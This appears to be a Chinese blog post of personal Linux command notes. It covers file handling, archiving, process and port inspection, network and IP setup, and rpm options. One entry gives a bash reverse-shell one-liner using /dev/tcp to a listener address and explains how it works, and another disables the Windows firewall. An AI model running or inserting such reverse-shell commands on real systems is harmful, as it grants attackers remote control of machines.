• 关于Linux的小笔记


    basic命令

    touch 新建文件  mkdir新建文件夹  rmdir 删除文件夹  rm - 删除文件

    -r 递归  -f 强制

    >1.txt 定向到文件中(覆盖)  >>追加到文件中

    tar -cvf filename.tar filename1 filename2 ... (打包命令)

    tar -xvf filename.tar dirname(解包命令)

    unzip filename.zip(解压)

    zip -r(递归打包,否则只有文件夹) filename.zip dirname(压缩)

    Wordcount wc 统计文件多少个字用 --line统计多少行

    ls - l 列表 -所有 -t时间 -r倒叙(小到大,早到晚)  -R(大到小,晚到早)

    ps命令 -a 显示所有进程 -c 显示进程的真实名称 -f 显示程序间的关系 -u 指定用户的所有进程 -e 显示环境变量 -aux 显示所有包含其他使用者的进程

     

    命令查看内存前N个

    ps -aux | sort -k4nr | head -N

    命令详解:

    1、head:-N可以指定显示的行数,默认显示10行。

    2、ps:参数a指代all——所有的进程,u指代userid——执行该进程的用户id,x指代显示所有程序,不以终端机来区分。

     

    在/目录下查找文件名 

    find / -name flag 

    linux 下查看端口号所使用的进程号: 

    lsof -i:端口号

    linux 下查看进程占用端口:

    1)查看程序对应的进程号: ps -ef | grep 进程名字

    2)查看进程号所占用的端口号: netstat -nltp | grep  进程号

            ubuntu :查看进程占用端口号:netstat -anp | grep pid

     

    bash -i >& /dev/tcp/192.168.1.1/9999 0>&1

    bash -i代表在本地打开一个bash

    /dev/tcp/Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接

    >&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,

    就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。0表示标准输入 1标准输出 2标准错误输出

    uname -r 显示操作系统的发行版号

    4.8.0-58-generic

    4为主版本,8为次版本,0为次版本修改次数,58是内核编译次数

    tcpdump -i 网卡 port 端口号 监听端口数据

    ctrl + d 退出shell  ctl + l 清屏 ctrl + z 挂起

    Ln -s 源文件名 软连接名 建立软连接 

    Ln 源文件名 硬连接名 建立硬连接

    防火墙规则:

    关闭防火墙

    netsh advfirewall set allprofiles state off

    重启网络

    service NetworkManager restart

    自动获取ip

    dhclient eth0 # 指定网卡进行dhcp获取ip

    若执行结果报错:PTNETLINK answers:File exists 则输入以下命令

    ip addr flush dev eth0

    手动设置ip

    ifconfig eht0 192.168.1.11/24 #手工指定静态ip

    route add default gw 192.168.1.1 #指定默认网关

    netstat -nr #查看路由表

    route add -net 172.16.0.0/24 gw 192.168.1.1 #指定静态路由

    DNS服务器列表文件

    /etc/resolv.conf

    #网卡配置文件

    /etc/network/interfaces

    auto eth0

    iface eth0 inet static #静态配置

    address 192.168.20.1 #IP地址

    netmask 255.255.255.0 #掩码

    gateway 192.168.20.254 #网关

    dns-nameservers 192.168.0.10 192.168.0.20 #DNS服务器。选填。重启自动写入resolv.confg

    #如果是dhcp。只需要如下操作:

    iface eth0 inet dhcp

    RPM查询软件信息

    查询已安装软件的信息

    -q:仅查询,后面接的软件名称是否有安装;

    -qa:列出所有的,已经安装在本机linux系统上面的所有软件名称;

    -ql:列出该软件所有的文件与目录所在的完整文件名(list)

    -qR:列出与该软件有关的相依团建所含的文件(Required的意思)

    RPM安装软件信息

    -i:安装指定的.rpm文件

    -v: 查看更细部的安装信息画面

    -h: 以安装信息列表显示安装进度

    -U:用指定的.rpm文件的升级同名包

  • 相关阅读:
    关于钩子函数的详细解答:
    Vue实现回到顶部
    Vue实现Rate组件(星星评分)
    Vue-router 路由模式
    javascript中实现跨域的方式
    Promise
    webpack使用
    小程序登录
    api工厂的sdk的使用
    面试题划“重点”
  • 原文地址:https://www.cnblogs.com/pass-A/p/11132330.html
Copyright © 2020-2023  润新知